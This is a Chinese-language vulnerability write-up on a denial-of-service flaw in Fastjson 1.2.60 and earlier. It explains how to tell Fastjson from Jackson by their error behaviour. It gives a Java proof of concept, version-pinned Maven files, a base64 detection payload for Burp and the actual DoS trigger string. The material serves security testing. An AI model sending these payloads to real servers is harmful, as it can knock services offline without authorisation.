Fastjson \<=1.2.60 DoS漏洞无损检测+Fastjson与Jackson组建区分¶
一、漏洞简介¶
二、漏洞影响¶
Fastjson 1.2.60 以下版本
三、复现过程¶
针对Fastjson DoS 漏洞的检测,相对较好识别,但其需要发送 DoS 的请求包,就会有一个时间延迟,但是部分使用者或 SRC平台对 DoS 类漏洞持保守态度。
所以这里提出一种无损检测 Fastjson DoS 漏洞的方法。
首先有以下几种情况:
未知目标是否使用 Fastjson ,但站点有原始报错回显¶
如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样
例如
无回显,盲区分 Fastjson 和 Jackson¶
Java 系 Json 处理基本只有 Fastjson 和 Jackson。由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson
如果请求包中的 json 如下:
{\"name\":\"S\", \"age\":21}
追加一个随机 key ,修改 json 为
{\"name\":\"S\", \"age\":21,\"agsbdkjada__ss_d\":123}
这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显
Fastjson:
Jackson:
无损检测原理¶
已经知道目标使用的是 Fastjson ,可以用以下 poc 去检测是否存在 DOS 漏洞
Fastjson \< 1.2.60 在取不到值的时候会填充 \u001a ,在1.2.60 进行了修复, 对 \x 后面的字符进行是否为16进制允许字符 (0-9a-fA-F) 的校验,所以这里就可以手动 padding ,构造一个特殊的字符串
\x\u001a\u001a
测试代码:
Main.java
import com.alibaba.fastjson.JSON; public class Main { public static void main(String[] args) { String payload = "{\"a\":\"\\x\u001a\u001a\"}"; System.out.println(payload); Object o = JSON.parseObject(payload); System.out.println(o.getClass()); } }
Fastjson \< 1.2.60
pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>tophant</groupId> <artifactId>tcc</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.59</version> </dependency> </dependencies> </project>
Fastjson == 1.2.60,可以看到报错
pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>tophant</groupId> <artifactId>tcc</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.60</version> </dependency> </dependencies> </project>
使用 Burp 测试¶
在 Burp 中测试可以使用 : eyJhIjoiXHgaGiJ9 (base64解码)
当后端 Fastjson 版本小于 1.2.60 时,使用该请求包不会延时不会报错
使用 {\"a:\"\x 进行请求就会发生 DOS